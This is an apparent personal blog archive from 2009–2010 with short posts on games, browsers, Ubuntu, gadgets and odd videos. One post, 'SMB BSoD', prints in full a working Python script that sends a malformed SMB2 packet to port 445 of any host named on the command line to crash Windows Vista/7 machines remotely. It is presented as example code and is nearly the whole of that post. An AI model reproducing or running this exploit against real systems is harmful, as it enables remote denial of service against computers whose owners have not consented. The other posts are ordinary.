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The Marshmallow Experiment

2010-05-14T19:54:00.001-04:00

1 Marshmallow, 15 minutes alone, and a whole lot of self control.

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Spring Cleaning

2010-04-10T16:22:00.002-04:00

It's spring! And what's better than a good spring cleaning?
Today, I spent a bit of time cleaning up benbarth.com. It's now easier to maintain, which means I can deliver more high quality content to my followers. I hope you enjoy the new look!

Robot Unicorn Attack

2010-03-10T20:16:00.000-05:00

Robot Unicorn Attack is a strange but strangely addicting game where you try and smash stars with your head. Check it out for yourself.

It's featured in the first 10 seconds of ByteJacker Episode 22.

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Most Useless Machine

2010-02-19T18:22:00.001-05:00

The ~~most useless~~ best machine ever.

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Google Chrome OS

2009-11-19T20:54:00.000-05:00

Google Chrome OS / Chromium OS

Homopolar Motor

2009-11-11T17:59:00.000-05:00

Mmmm... I want to make one of these...

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Inflatable Seat Belt

2009-11-07T15:16:00.002-05:00

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Hot Dog Fees

2009-11-07T12:08:00.001-05:00

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I wish he would have told them that they're valued customers.

Soccer / Football Guitar Hero

2009-10-27T18:33:00.003-04:00

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This years Halloween costume

2009-10-26T18:00:00.003-04:00

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SMB BSoD

2009-09-08T18:33:00.003-04:00

A severe exploit has been found that allows you to remotely crash a Windows Vista/7 computers. If you're looking for example code, here it is...



#!/usr/bin/python

# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a PAGE_FAULT_IN_NONPAGED_AREA



# Revision History

#     2009-09-07, Unknown: Created

#     2009-09-14, Ben Barth: Pass host/IP using argv parameter



import sys



from socket import socket

from time import sleep



host = sys.argv[1], 445

buff = (

"\x00\x00\x00\x90" # Begin SMB header: Session message

"\xff\x53\x4d\x42" # Server Component: SMB

"\x72\x00\x00\x00" # Negociate Protocol

"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853

"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"

"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"

"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"

"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" 

"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" 

"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" 

"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" 

"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" 

"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" 

"\x30\x30\x32\x00"

)

print "Opening Socket"

s = socket()

print "Connecting to " + sys.argv[1] + "..."

s.connect(host)

print "Sending..."

s.send(buff)

print "Closing Socket"

s.close()

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lego mindstorms sudoku solver

2009-08-24T18:31:00.000-04:00

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whre gravity going?

2009-08-24T08:04:00.000-04:00

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Photogenic Squirrel

2009-08-21T11:47:00.002-04:00

I cannot put words to this picture.

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HTML5 Video Tag

2009-07-14T10:47:00.000-04:00

If you've got the latest install of Firefox, Chrome, Safari or Opera then you should be able to view this just fine.

Alarm Clock for Really Really Really Heavy Sleepers

2009-06-28T08:41:00.000-04:00

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Firefox 3.5 - What's new?

2009-06-22T20:24:00.000-04:00

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The World's First Web Server

2009-05-17T00:00:00.002-04:00

Do Not Power Down This Machine: It Is The Internet

New and Improved Firefox Logo

2009-05-16T23:58:00.000-04:00

Today Mozilla published their new (draft) logo for Firefox. Not a big change, but a little more catchy.

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Robot Sheep Shearing

2009-05-12T08:27:00.001-04:00

I don't know what to think about this video. It's cool, but looks quite cruel. (I'm a poet, and I didn't even know it.)

Sand Art

2009-05-10T12:00:00.000-04:00

Happy Mother's Day! These are for you.

Charlie the Unicorn 3

2009-04-27T15:50:00.000-04:00

Haha, this video snuck out on Wednesday.

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Ubuntu 9.04 Jaunty Jackalope

2009-04-23T19:27:00.006-04:00

If you're a Linux fan I highly recommend hopping on over to ubuntu.com and getting the new version of Ubuntu. If you're just curious about Linux you can look at some of the features. Ubuntu is pushing for a clean and beautiful desktop. The look and feel is much improved with a new notification system as well as many other features. All in all, I'm quite happy with this release.

Real Tornado Chasers

2009-04-18T08:53:00.000-04:00

Wow. Crazy people take good pictures.

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Contact Me!

2009-04-17T19:00:00.004-04:00

If you've been paying attention, a few things have changed.
-The resume page is gone
-A new project has begun
-The "Other" section has disappeared

If you'd like my resume you can visit the contact page and check the little box that says, "Attach Ben Barth's resume." It will be sent to you automatically.

Z Game has begun!
Probably the most fun of all my projects, Z Game allows you to write your own AI and battle your friends. I hope to role out a Beta this summer.

The "Other" section hasn't gone anywhere; it's been renamed to "Personal".